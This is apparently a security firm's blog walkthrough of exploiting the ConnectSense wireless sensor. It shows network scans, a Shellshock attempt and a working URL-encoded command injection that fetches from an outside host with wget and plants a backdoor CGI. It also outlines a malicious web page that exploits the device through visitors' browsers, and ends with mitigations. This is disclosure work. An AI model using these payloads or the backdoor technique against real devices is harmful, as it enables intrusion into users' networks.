Connecting just about every household and industrial device to WiFi and the Internet is all the rage these days. As technology platforms, these devices range from minimal and purpose build embedded systems to full fledged Linux systems in a small form factor. Unsurprisingly, there’s no shortage of reports of glaring security holes from haphazardly designed systems and the Internet of Things is quickly gaining a reputation as a security minefield.
Today we’ll jump into the mix and continue our product security series with a walkthrough of hacking the Grid Connect ConnectSense Wireless Sensor. We’ll keep it simple, lest we qualify ourselves for BlackHat’s new award for needlessly complicated hacks against badly designed IoT devices. Our goal will be to leverage the device to remotely establish a persistent presence on whatever network it’s connected to, either via direct network connection or leveraging an intermediary like a user’s browser with network connectivity to the device.
You can get this sensor on Amazon for about $150, which makes it a bit more expensive than your typical IoT lightbulb or sensor. Each sensor separately connects to a local WiFi network and reports to the management system.
Multiple sensors are intended to be cloud-managed without a subscription and the cloud management interface is simple but clean. Rules can be create to email, text, or phone alerts under various circumstances.
There are two ways to set it up, via direct USB connection or by pushing a button on the device that puts it into access point mode with an open network you can join. Connecting via USB recognizes the device as a new USB network interface with an attached network. The sensor itself runs a DHCP server and the local interface should be automatically configured.
$ sudo dmesg ... Ethernet [AppleUSBCDCECMData]: Link up on en7, 10-Megabit, Full-duplex, No flow-control, Port 1, Debug [0000,0000,0000,0000,0000,0000] $ ifconfig ... en7: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 ether ca:45:0a:fb:77:09 inet6 fe80::b840:aff:fefb:2009%en7 prefixlen 64 scopeid 0x9 inet 192.168.111.100 netmask 0xffffff00 broadcast 192.168.111.255 nd6 options=1<PERFORMNUD> media: autoselect (10baseT/UTP <full-duplex>) status: active
With either the USB or WiFi approach, the instructions first send you to https://connectsense.com
where you register for an account and select Add Device
. Picking the USB or Wifi setup options attempt to load an image from the well-known device URLs http://192.168.111.1/images/logo.png
or http://192.168.110.1/images/logo.png
, respectively. If the image successfully loads, the connectsense.com
setup page assumes the device is connected and attempts to redirect you to http://192.168.111.1/cgi-bin/cgi-usb?[account_token]
or http://192.168.110.1/cgi-bin/cgi-ra?[account_token]
for a web-based configuration of the local device to pass it your connectsense.com
account token and to set up your WiFi network parameters.
The /cgi-bin/
in the path is a huge flag that there’s a custom script or executable running that’s going to be our primary target so far. We’ll come back to that after we do a quick network scan to see what the device is running. We first set up the WiFi interface so we get a realistic idea of what the device is running when connected to the network (vs the AP mode only accessible by pushing a button on the device). Nmap against the connected WiFi interface:
$ nmap -p 1-65535 192.168.1.239 Starting Nmap 6.46 ( http://nmap.org ) at 2016-06-24 14:04 PDT Nmap scan report for 192.168.1.239 Host is up (0.13s latency). Not shown: 98 closed ports PORT STATE SERVICE 80/tcp open http 8080/tcp open http-proxy
OK, so we know that the device always runs the unauthenticated setup page, even after being configured to join the local WiFi network. Now let’s try the USB network interface:
$ nmap -p 1-65535 192.168.111.1 Starting Nmap 6.46 ( http://nmap.org ) at 2016-06-24 13:57 PDT Nmap scan report for 192.168.111.1 Host is up (0.061s latency). Not shown: 65532 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 8080/tcp open http-proxy $ telnet 192.168.111.1 Trying 192.168.111.1... Connected to 192.168.111.1. Escape character is '^]'. # cat /proc/version Linux version 2.6.36 (cristian@cristian-Dell-System-XPS-L702X) (gcc version 4.5.2 (Sourcery G++ Lite 2011.03-46) ) #2741 Wed Jan 7 15:39:31 CST 2015 # ps PID USER VSZ STAT COMMAND .... 58 0 364 S udhcpd -f /etc/udhcpd.conf.usb0 60 0 156 S boa .... 67 0 368 S telnetd -l /bin/sh -b 192.168.111.1 ....
Interesting. There’s an unauthenticated telnet daemon running on port 23 of the USB interface IP and it looks like this is a general Linux 2.6.36 system. Our goal is to control this system remotely so telnet on this interface is unlikely to help us. Let’s go back to our web interface and revisit the CGI script.
$ curl -v http://192.168.1.239 ... * Connected to 192.168.1.239 (192.168.1.239) port 80 (#0) > GET / HTTP/1.1 > User-Agent: curl/7.30.0 > Host: 192.168.1.239 > Accept: */* > * HTTP 1.0, assume close after body < HTTP/1.0 403 Forbidden < Date: Thu, 01 Jan 1970 00:37:39 GMT < Server: Boa/0.93.15 < Connection: close < Content-Type: text/html < <HTML><HEAD><TITLE>403 Forbidden</TITLE></HEAD> <BODY> <H1>403 Forbidden</H1> Your client does not have permission to get URL / from this server. </BODY></HTML> * Closing connection 0
It lists Boa 0.93.15 as the web server and a quick search shows a 2007 authentication bypass via the Intersil extensions, which probably doesn’t apply here, and a directory traversal from 2000 via simple URL encoding. The last one looks pretty simple so we’ll try that:
$ curl -v 'http://192.168.1.239/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts' ... > GET http://192.168.1.239/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts HTTP/1.1 > User-Agent: curl/7.30.0 > Host: 192.168.1.239 > Accept: */* > Proxy-Connection: Keep-Alive > * HTTP 1.0, assume close after body < HTTP/1.0 404 Not Found < Date: Thu, 01 Jan 1970 00:50:04 GMT < Server: Boa/0.93.15 < Connection: close < Content-Type: text/html < <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY> <H1>404 Not Found</H1> The requested URL /etc/hosts was not found on this server. </BODY></HTML>
This is a bit strange since that directory traversal is about as easy as you can get. It does echo the path as it understands it so let’s try a slightly modified version to enumerate behaviors a bit:
$ curl -v 'http://192.168.1.239/%2e%2e/BLAH/%2e%2e/etc/hosts' ... > GET /%2e%2e/BLAH/%2e%2e/etc/hosts HTTP/1.1 > User-Agent: curl/7.30.0 > Host: 192.168.1.239 > Accept: */* > * HTTP 1.0, assume close after body < HTTP/1.0 404 Not Found < Date: Thu, 01 Jan 1970 00:51:42 GMT < Server: Boa/0.93.15 < Connection: close < Content-Type: text/html < <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY> <H1>404 Not Found</H1> The requested URL /BLAH/etc/hosts was not found on this server. </BODY></HTML> * Closing connection 0
It stripped instances of “/%2e%2e/”, which is consistent with the fix for this issue in Boa 0.94 so it looks like we have a backported patch or fake server header. Let’s next try Shellshock since we’re dealing with a CGI. We may or may not have bash on the system at all so Shellshock may not apply (checking via telnet shows that it uses busybox and /bin/sh or /bin/ash so this is only here for completeness).
$ curl -A '() { :;};echo "Content-type: text/plain"; echo; echo; /bin/cat /etc/passwd' --referer '() { :;};echo "Content-type: text/plain"; echo; echo; /bin/cat /etc/passwd' -H 'Cookie: () { :;};echo "Content-type: text/plain"; echo; echo; /bin/cat /etc/passwd' "http://192.168.1.239/cgi-bin/cgi-ra?8A0A6677918497F9893A354539FD9361" <!DOCTYPE html> <html lang='en-US'> ... </html>
Unfortunately, no /etc/password contents in the output. Looking at the original URL, http://192.168.1.239/cgi-bin/cgi-ra?8A0A6677918497F9893A354539FD9361
, you can see that the URL parameter format is a bit strange and it’s not in the normal key=value format. Let’s play with that a bit and see if we can cause any usual behaviors
# Add some random characters - returns 200 but no output. It looks like it may validate length == 32 $ curl 'http://192.168.1.239/cgi-bin/cgi-ra?8A0A6677918497F9893A354539FD9361blah' # Remove a character and add a single quote (%27) - back to normal output. $ curl 'http://192.168.1.239/cgi-bin/cgi-ra?8A0A6677918497F9893A354539FD936%27' <!DOCTYPE html> <html lang='en-US'> ...normal output.... </html> # Remove more characters and try command injection (';/bin/sh -c "sleep 30";) $ curl 'http://192.168.1.239/cgi-bin/cgi-ra?8A0A6677%27%3b%2f%62%69%6e%2f%73%68%20%2d%63%20%22%73%6c%65%65%70%20%33%30%22%3b' ....hang
Re-running this command with a ping running against the system shows that it appears to die and reboot after about 20 seconds. This is obviously a strong indicator of command injection but it could also be a straight forward crash. Let’s re-run with a command where we can definitively tell if it executed.
# ';/bin/sh -c "wget https://freeflysecurity.com/static/test1"; # Note that the length limitation doesn't appear to apply here either $ curl 'http://192.168.1.239/cgi-bin/cgi-ra?8A0A66779%27%3b%2f%62%69%6e%2f%73%68%20%2d%63%20%22%77%67%65%74%20%68%74%74%70%3a%2f%2f%66%72%65%65%66%6c%79%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%73%74%61%74%69%63%2f%74%65%73%74%31%22%3b' ==> access_static.log <== 1.2.3.4 - - [27/Jun/2016:22:10:49 +0000] "GET /static/test1 HTTP/1.1" 404 210 "-" "Wget"
Success! Now that we have definitely identified command injection, we’ll use it to create our own CGI that executes our code. I’ll skip the details of developing this but here’s our innocuous version that replaces the /cgi-bin/setup
binary that /cgi-bin/cgi-ra
symlinks to:
# It's sensitive to # and ! so we had to massage it a bit # a'; /bin/sh -c 'echo `echo \\#\!/bin/sh` > /home/httpd/setup; echo "echo -e Status: 200 OK\\\\nAccess-Control-Allow-Origin: *\\\\n\\\\nHello" >> /home/httpd/setup'; $ curl 'http://192.168.1.239/cgi-bin/cgi-ra?%61%27%3b%20%2f%62%69%6e%2f%73%68%20%2d%63%20%27%65%63%68%6f%20%60%65%63%68%6f%20%5c%5c%23%5c%21%2f%62%69%6e%2f%73%68%60%20%3e%20%2f%68%6f%6d%65%2f%68%74%74%70%64%2f%73%65%74%75%70%3b%20%65%63%68%6f%20%22%65%63%68%6f%20%2d%65%20%53%74%61%74%75%73%3a%20%32%30%30%20%4f%4b%5c%5c%5c%5c%6e%41%63%63%65%73%73%2d%43%6f%6e%74%72%6f%6c%2d%41%6c%6c%6f%77%2d%4f%72%69%67%69%6e%3a%20%2a%5c%5c%5c%5c%6e%5c%5c%5c%5c%6e%48%65%6c%6c%6f%22%20%3e%3e%20%2f%68%6f%6d%65%2f%68%74%74%70%64%2f%73%65%74%75%70%27%3b' echo Hello
At this point, if we had network connectivity to any ConnectSense device, we could remotely install our backdoor CGI. We could obviously do additional things like pull WiFi passwords from the config but I’m generally not going to drive to someone’s house or a business to use a WiFi password. Our next major goal is to address the scenario where we don’t have direct connectivity but we want to leverage an intermediary to remotely install our backdoor. For this, we’ll create a malicious web page that scans local networks and exploits any identified ConnectSense devices. This would obviously require social engineering, MITM traffic or shared networks, or other techniques to get these intermediaries to visit this page.
To identify local networks, we’re going to leverage WebRTC to remotely identify the user’s connected networks. For the purposes of this writeup, we’ll ignore anything that’s not a 192.168.1.x network (since that my local network right now). We walk the IPs in the network and attempt to load an image from /images/bg_content.png
, the most unique (but still not very unique) image served by the ConnectSense device. After identifying a system that will serve the image, we attempt to load another image using the above CGI-creating script. The output of that script isn’t a valid image so our payload verification routine leverages the lenient Cross Origin Resource Sharing (CORS) header echoed by our script and attempts a cross domain XHR. If we can successfully read the request response and our expected CGI output is returned, we know our payload was successful.
You can see a demo here.
Mitigations
This command injection vulnerability doesn’t appear to exist on stock versions of Boa 0.94.14rc1 and 0.93.15. Interestingly, the behavior around automatically decoding the query string when being accessed by a CGI script is different. It appears that Grid Connect added a shell-based decoding for the query string to a custom version of Boa that was deployed with ConnectSense devices. Running strings
against the boa
binary shows a number of ConnectSense-specific strings that, combined with the apparent backporting of the directory traversal patch, make this theory more plausible.
As a user, there’s obviously not a lot that can be done to mitigate vulnerable IoT devices that require Internet connectivity. I’d recommend putting them on a restricted network with ingress and egress based filtering from all non-critical devices. Of course, that’s not an easy option for most home users.
As a vendor, there are a couple of things that could have mitigated this, all in line with good product security practices:
- Don’t deploy unauthenticated management interfaces. For passwords, using a device-specific number printed on the device is always a good idea.
- Standard software and application security still applies to IoT devices. In this case, shelling out for input processing is a high risk behavior for any application.
Questions?
Creating or using IoT devices and you’re concerned about their security? Get in touch.